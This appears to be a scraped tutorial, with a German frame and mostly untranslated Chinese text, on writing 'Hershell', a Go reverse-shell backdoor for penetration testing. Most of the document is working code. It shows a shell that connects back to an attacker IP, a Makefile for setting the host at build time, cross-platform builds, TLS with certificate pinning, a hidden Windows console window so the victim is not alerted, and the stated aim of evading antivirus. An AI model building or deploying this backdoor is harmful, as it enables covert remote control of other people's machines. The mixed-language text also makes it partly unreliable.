Heim > Artikel > Backend-Entwicklung > Kann Go-Sprache für Penetrationstests verwendet werden?
Go-Sprache kann für Penetrationstests verwendet werden. Go macht es sehr einfach, Cross-Compilation durchzuführen, ohne dass externe Abhängigkeiten erforderlich sind. Dank der Standardbibliothek enthält eine Go-Binärdatei den gesamten für die Ausführung auf der Zielarchitektur erforderlichen Code. Daher sollte es mit der Go-Sprache einfach sein, Binärdateien für mehrere Plattformen aus demselben Quellcode zu erstellen.
Die Betriebsumgebung dieses Tutorials: Windows 7-System, GO Version 1.18, Dell G3-Computer.
Was ist Penetrationstest?
Ein Penetrationstest ist ein autorisierter simulierter Angriff auf ein Computersystem zur Bewertung seiner Sicherheit und dient dem Nachweis, dass die Netzwerkabwehr wie vorgesehen funktioniert. Nehmen wir an, dass Ihr Unternehmen Sicherheitsrichtlinien und -verfahren regelmäßig aktualisiert, Systeme von Zeit zu Zeit patcht und Tools wie Schwachstellenscanner verwendet, um sicherzustellen, dass alle Patches angewendet werden.
Go-Sprache kann für Penetrationstests verwendet werden
Das Folgende ist ein Beispiel: Schreiben einer Rebound-Backdoor Hershell
Während des Penetrationstestprozesses ist das bekannte und supertolle Metasploit-Framework ein wesentliches Werkzeug .
Diese Umgebung enthält eine große Anzahl von Nutzlasten, Encodern und anderen Tools. Unter diesen Payloads ist Meterpreter wichtig: Es handelt sich um eine modifizierte Version der Shell mit entwickelten und nachträglich ausgenutzten Befehlen. Aufgrund seiner starken Angriffseigenschaften wird diese Granate wahrscheinlich am häufigsten verwendet.
Probleme mit Meterpreter
Leider hat die Popularität von Meterpreter einen Nachteil: Es wird von den meisten Antiviren- und signaturbasierten Lösungen erkannt. Normalerweise wird während eines Penetrationstests eine Binärdatei mit einer Meterpreter-Nutzlast erkannt und in die Quarantäne geschickt.
Ein weiteres Problem könnte die mangelnde Unterstützung einer bestimmten Zielarchitektur (z. B. BSD) sein, was uns dazu zwingt, eine eigene Hintertür zu entwickeln.
Die oben genannten Probleme veranlassten uns, Hershell zu schreiben. Das Ziel dieses Projekts besteht darin, eine Reverse-Shell-Payload bereitzustellen, die auf einem einzigen Quellcode basiert, der plattformübergreifend ist und von Antivirensoftware nicht erkannt werden kann.
Wir entwickeln mit der Go-Sprache, einer von Google entwickelten kompilierten Sprache.
Warum die GO-Sprache verwenden?
Heutzutage ist Python wahrscheinlich die beliebteste Sprache zum Schreiben von Skripten und sogar zum Ausfüllen von Anwendungen, insbesondere im Sicherheitsbereich. Warum sollten wir also eine neue Sprache lernen?
Go hat gegenüber Python oder anderen Sprachen einen Vorteil: Es ist sehr einfach, eine Kreuzkompilierung ohne externe Abhängigkeiten durchzuführen. Dank der Standardbibliothek enthält eine Go-Binärdatei den gesamten notwendigen Code zur Ausführung auf der Zielarchitektur. Daher sollte die Go-Sprache es einfach machen, Binärdateien für mehrere Plattformen aus demselben Quellcode zu erstellen.
Ziele
Beim Erstellen dieses Codes möchten wir die folgenden Ziele erreichen:
payload类型是reverse shell; 得到一个跨多个平台(Windows、Linux、MacOS、ARM)和硬件架构的payload; 容易配置; 加密通信; 绕过大多数反病毒检测引擎。
Umgebungsvorbereitung
Installieren Sie das Go-Paket von Ihrer Lieblingsdistribution oder laden Sie es von der offiziellen Website herunter.
Sobald die Installation abgeschlossen ist, müssen wir die Umgebung konfigurieren. Wir erstellen ein Entwicklungsverzeichnis, das das Stammverzeichnis für Quellen, Bibliotheken und Build-Binärdateien sein wird:
$ mkdir -p $HOME/dev/{src,bin,pkg}
$ export GOPATH=$HOME/dev
$ cd dev
Das Verzeichnis folgt dem folgenden Plan:
bin包含编译后的二进制文件和其他可执行文件;
pkg包含Go下载包的对象文件;
src包含你的应用程序和下载包的源目录。
Meine erste Reverse-Shell
Erstellen Sie zunächst eine einfache TCP-Reverse Shell mit der Go-Sprache.
Hier ist eine vollständig kommentierte Version anstelle des zeilenweise kommentierten Codes.
// filename: tcp.go
package main
import (
"net" // requirement to establish a connection
"os" // requirement to call os.Exit()
"os/exec" // requirement to execute commands against the target system
)
func main() {
// Connecting back to the attacker
// If it fails, we exit the program
conn, err := net.Dial("tcp", "192.168.0.23:2233")
if err != nil {
os.Exit(1)
}
// Creating a /bin/sh process
cmd := exec.Command("/bin/sh")
// Connecting stdin and stdout
// to the opened connection
cmd.Stdin = conn
cmd.Stdout = conn
cmd.Stderr = conn
// Run the process
cmd.Run()
}
Zuerst verwenden wir net.Dial, um eine Verbindung zum Remote-Server herzustellen. Das Net-Paket der Go-Standardbibliothek ist eine Abstraktionsschicht für die Netzwerkkommunikation auf Basis von TCP oder UDP.
Wenn Sie mehr über die Verwendung eines Pakets erfahren möchten, ist die Dokumentation (go doc) hilfreich:
$ go doc net
package net // import "net"
Package net provides a portable interface for network I/O, including TCP/IP,
UDP, domain name resolution, and Unix domain sockets.
Although the package provides access to low-level networking primitives,
most clients will need only the basic interface provided by the Dial,
Listen, and Accept functions and the associated Conn and Listener
interfaces. The crypto/tls package uses the same interfaces and similar Dial
and Listen functions.
...
Kehren wir zum Skript zurück.
Sobald die Verbindung hergestellt ist (wenn sie fehlschlägt, wird das Programm gestoppt), erstellen wir dank der Funktion exec.Command einen Prozess (Objekt vom Typ exec.Cmd). Alle Ein- und Ausgaben (stdout, stdin und stderr) werden zur Verbindung umgeleitet und der Prozess wird gestartet.
Dann können wir die Datei kompilieren:
$ go build tcp.go
$ ./tcp
Jetzt müssen wir den Listener aktivieren:
# Listening server (attacker)
$ ncat -lvp 2233
Listening on [0.0.0.0] (family 0, port 2233)
Connection from 192.168.0.20 38422 received!
id
uid=1000(lab) gid=100(users) groupes=100(users)
如预期的那样,我们得到了reverse shell。
到目前为止我们大多数的目标尚未实现。
配置
我们现在有一些reverse shell基本代码。但是在每次编译之后我们必须修改,以便定义攻击者的监听端口和IP地址。
这种操作虽然不是很便利。但这里可以引入一个简单的小技巧:在连接时(在编译之前)进行变量定义。
事实上,在构建过程中,可以定义一些变量的值(使用go build命令)。
这是使用前面代码的一个简短的例子:
// filename: tcp.go
package main
import (
"net"
"os"
"os/exec"
)
// variable to be defined at compiling time
var connectString string
func main() {
if len(connectString) == 0 {
os.Exit(1)
}
conn, err := net.Dial("tcp", connectString)
if err != nil {
os.Exit(1)
}
cmd := exec.Command("/bin/sh")
cmd.Stdin = conn
cmd.Stdout = conn
cmd.Stderr = conn
cmd.Run()
}
我们只添加下面一行代码,进行一个安全测试以检查它是否包含一个值:
var connectString string
其代码编译如下:
$ go build --ldflags "-X main.connectString=192.168.0.23:2233" tcp.go
当我们构建二进制文件时,攻击者的IP地址和端口可以被动态定义。
注意,可以以package.nomVariable的模式访问这些变量,并且这些变量只能是string类型。
为了简化编译,我们可以创建一个Makefile:
# Makefile
SOURCE=tcp.go
BUILD=go build
OUTPUT=reverse_shell
LDFLAGS=--ldflags "-X main.connectString=${LHOST}:${LPORT}"
all:
${BUILD} ${LDFLAGS} -o ${OUTPUT} ${SOURCE}
clean:
rm -f ${OUTPUT}
本文的其余部分,我们将使用LHOST和LPORT环境变量来定义设置:
$ make LHOST=192.168.0.23 LPORT=2233
go build --ldflags "-X main.connectString=192.168.0.23:2233" -o reverse_shell tcp.go
跨平台
既然可以很容易地配置 payload,也可以跨平台使用它。
如前所述,payload的强项之一是从同一个代码库使用Go语言为各种架构和平台进行构建。
准确地说, runtime提供了GOOS和GOARCH变量。
让我们看看如何使用GOOS:
// filename: tcp_multi.go
package main
import (
"net"
"os"
"os/exec"
"runtime" // requirement to access to GOOS
)
var connectString string
func main() {
var cmd *exec.Cmd
if len(connectString) == 0 {
os.Exit(1)
}
conn, err := net.Dial("tcp", connectString)
if err != nil {
os.Exit(1)
}
switch runtime.GOOS {
case "windows":
cmd = exec.Command("cmd.exe")
case "linux":
cmd = exec.Command("/bin/sh")
case "freebsd":
cmd = exec.Command("/bin/csh")
default:
cmd = exec.Command("/bin/sh")
}
cmd.Stdin = conn
cmd.Stdout = conn
cmd.Stderr = conn
cmd.Run()
}
很显然,我们添加了一个switch模块来处理GOOS不同的值。因此,我们只是检查几个操作系统的值,并且改变每个目标进程。
上面的代码可以进一步简化,实际上除了Windows,大多数操作系统上都有/bin/sh:
switch runtime.GOOS {
case "windows":
// Windows specific branch
cmd = exec.Command("cmd.exe")
default:
// any other OS
cmd = exec.Command("/bin/sh")
}
现在,使用GOARCH处理交叉编译架构非常简单:
$ make GOOS=windows GOARCH=amd64 LHOST=192.168.0.23 LPORT=2233
go build --ldflags "-X main.connectString=192.168.0.23:2233" -o reverse_shell tcp_multi.go
$ file reverse_shell
reverse_shell: PE32+ executable (console) x86-64 (stripped to external PDB), for MS Windows
网络加密
现在,让我们看看如何加密网络流量。
有几种选择:
用一个自制的方法,在应用程序层建立加密
使用一种被广泛使用并且在会话层测试协议的方法,即TLS。
鉴于我们都倾向于简单和安全,我们选择了很容易用Go语言实现的TLS。标准库已经支持一切支持TLS的东西。
在客户端,一个新的&tls.Config类型对象需要配置连接,比如证书锁定(certificate pinning)。
这是新的代码库,进行了轻微的优化和TLS处理:
import (
"crypto/tls"
"runtime"
"os"
"os/exec"
"net"
)
var connectString string
func GetShell(conn net.Conn) {
var cmd *exec.Cmd
switch runtime.GOOS {
case "windows":
cmd = exec.Command("cmd.exe")
default:
cmd = exec.Command("/bin/sh")
}
cmd.Stdout = conn
cmd.Stderr = conn
cmd.Stdin = conn
cmd.Run()
}
func Reverse(connectString string) {
var (
conn *tls.Conn
err error
)
// Creation of the tls.Config object
// Accepting *any* server certificate
config := &tls.Config{InsecureSkipVerify: true}
if conn, err = tls.Dial("tcp", connectString, config); err != nil {
os.Exit(-1)
}
defer conn.Close()
// Starting the shell
GetShell(conn)
}
func main() {
if len(connectString) == 0 {
os.Exit(1)
}
Reverse(connectString)
}
如示例所示,创建一个TLS套接字(socket)非常类似于创建一个简单的TCP socket。不同于tls.Config,tls.Conn对象与net.Conn以相同的方式被使用。
条件编译
如上图所示,可以改变取决于目标操作系统的程序执行。
然而,如果你想使用这段代码,你会注意到一个问题。cmd.exe窗口会出现,并且无法隐藏,从而会提醒受害者。
幸运的是,exec.Cmd对象的SysProcAttr可以改变这种情况,如本文所述:
$ go doc exec.Cmd
...
// SysProcAttr holds optional, operating system-specific attributes.
// Run passes it to os.StartProcess as the os.ProcAttr's Sys field.
SysProcAttr *syscall.SysProcAttr
...
在Linux下,关于syscall.SysProcAttr模块文件,我们得到以下信息:
$ go doc syscall.SysProcAttr
type SysProcAttr struct {
Chroot string // Chroot.
Credential *Credential // Credential.
Ptrace bool // Enable tracing.
Setsid bool // Create session.
Setpgid bool // Set process group ID to Pgid, or, if Pgid == 0, to new pid.
Setctty bool // Set controlling terminal to fd Ctty (only meaningful if Setsid is set)
Noctty bool // Detach fd 0 from controlling terminal
Ctty int // Controlling TTY fd
Foreground bool // Place child's process group in foreground. (Implies Setpgid. Uses Ctty as fd of controlling TTY)
Pgid int // Child's process group ID if Setpgid.
Pdeathsig Signal // Signal that the process will get when its parent dies (Linux only)
Cloneflags uintptr // Flags for clone calls (Linux only)
Unshareflags uintptr // Flags for unshare calls (Linux only)
UidMappings []SysProcIDMap // User ID mappings for user namespaces.
GidMappings []SysProcIDMap // Group ID mappings for user namespaces.
// GidMappingsEnableSetgroups enabling setgroups syscall.
// If false, then setgroups syscall will be disabled for the child process.
// This parameter is no-op if GidMappings == nil. Otherwise for unprivileged
// users this should be set to false for mappings work.
GidMappingsEnableSetgroups bool
}
然而,在syscall package(包)的源代码中,我们观察到每一个构建都有一个特定的实现。
此外,在Windows的exec子方式中,我们注意到SysProcAttr结构有不同的定义。它有一个HidWindow属性(布尔类型),当启动一个程序时这一属性允许隐藏启动窗口。
该属性也正是我们的后门需要的。
我们可能会被这一实现所吸引:
...
switch runtime.GOOS {
case "windows":
cmd := exec.Cmd("cmd.exe")
cmd.SysProcAttr = &syscall.SysProcAttr{HideWindow: true}
default:
cmd := exec.Cmd("/bin/sh")
}
...
然而,由于HideWindow属性在syscall/exec_linux.go中不存在,因此这种编译在除了Windows之外的任何其他平台可能会失败。
因此,我们需要调整我们的项目的结构,使用条件编译。条件编译指的是一种特性,允许添加源代码文件顶部编译器的命令。例如,如果我们想要编译一个只适用于Windows操作系统的源文件,我们将添加该命令:
// +build windows !linux !darwin !freebsd
import net
...
当GOOS变量设置为darwin、 linux 或者freebsd时,该命令将指示编译器不包括该文件。当然,当值与windows匹配时,编译器将包含该源文件。
为了在我们的项目中实现该条件编译,我们将遵循这个结构:
$ tree
├── hershell.go
├── Makefile
├── README.md
└── shell
├── shell_default.go
└── shell_windows.go
hershell.go包含程序的核心部分。然后,我们创建一个名为shell的模块,该模块有两个文件:适用于Linux和Unix的shell_default.go文件;以及适用于Windows的shell_windows.go文件。
证书锁定
使用TLS安全通信是件好事,但只要我们不对服务器进行身份验证,流量仍然可以被“中间人”劫持。
为了预防这种攻击,我们将验证服务器提供的证书,这就叫做“证书锁定(certificate pinning)”。
以下函数负责证书锁定(certificate pinning):
func CheckKeyPin(conn *tls.Conn, fingerprint []byte) (bool, error) {
valid := false
connState := conn.ConnectionState()
for _, peerCert := range connState.PeerCertificates {
hash := sha256.Sum256(peerCert.Raw)
if bytes.Compare(hash[0:], fingerprint) == 0 {
valid = true
}
}
return valid, nil
}
这个函数接受一个tls.Conn对象的指针作为参数,并且包含SHA256格式的指纹证书的一个字节数组。在连接过程中,该代码扫描所有tls.Conn中的PeerCertificates,直到发现与提供的相匹配的指纹为止。
如果碰巧没有证书匹配,函数返回false。
当需要建立与远程服务器的连接时,我们只需要调用该函数;如果提交的证书是无效的则会关闭连接:
func Reverse(connectString string, fingerprint []byte) {
var (
conn *tls.Conn
err error
)
config := &tls.Config{InsecureSkipVerify: true}
if conn, err = tls.Dial("tcp", connectString, config); err != nil {
os.Exit(ERR_HOST_UNREACHABLE)
}
defer conn.Close()
// checking the certificate fingerprint
if ok, err := CheckKeyPin(conn, fingerprint); err != nil || !ok {
os.Exit(ERR_BAD_FINGERPRINT)
}
RunShell(conn)
}
最初,由于–ldflags,在编译(在Makefile中)过程中可以生成有效的指纹:
...
LINUX_LDFLAGS=--ldflags "-X main.connectString=${LHOST}:${LPORT} -X main.connType=${TYPE} -X main.fingerPrint=$$(openssl x509 -fingerprint -sha256 -noout -in ${SRV_PEM} | cut -d '=' -f2)"
...
Das obige ist der detaillierte Inhalt vonKann Go-Sprache für Penetrationstests verwendet werden?. Für weitere Informationen folgen Sie bitte anderen verwandten Artikeln auf der PHP chinesischen Website!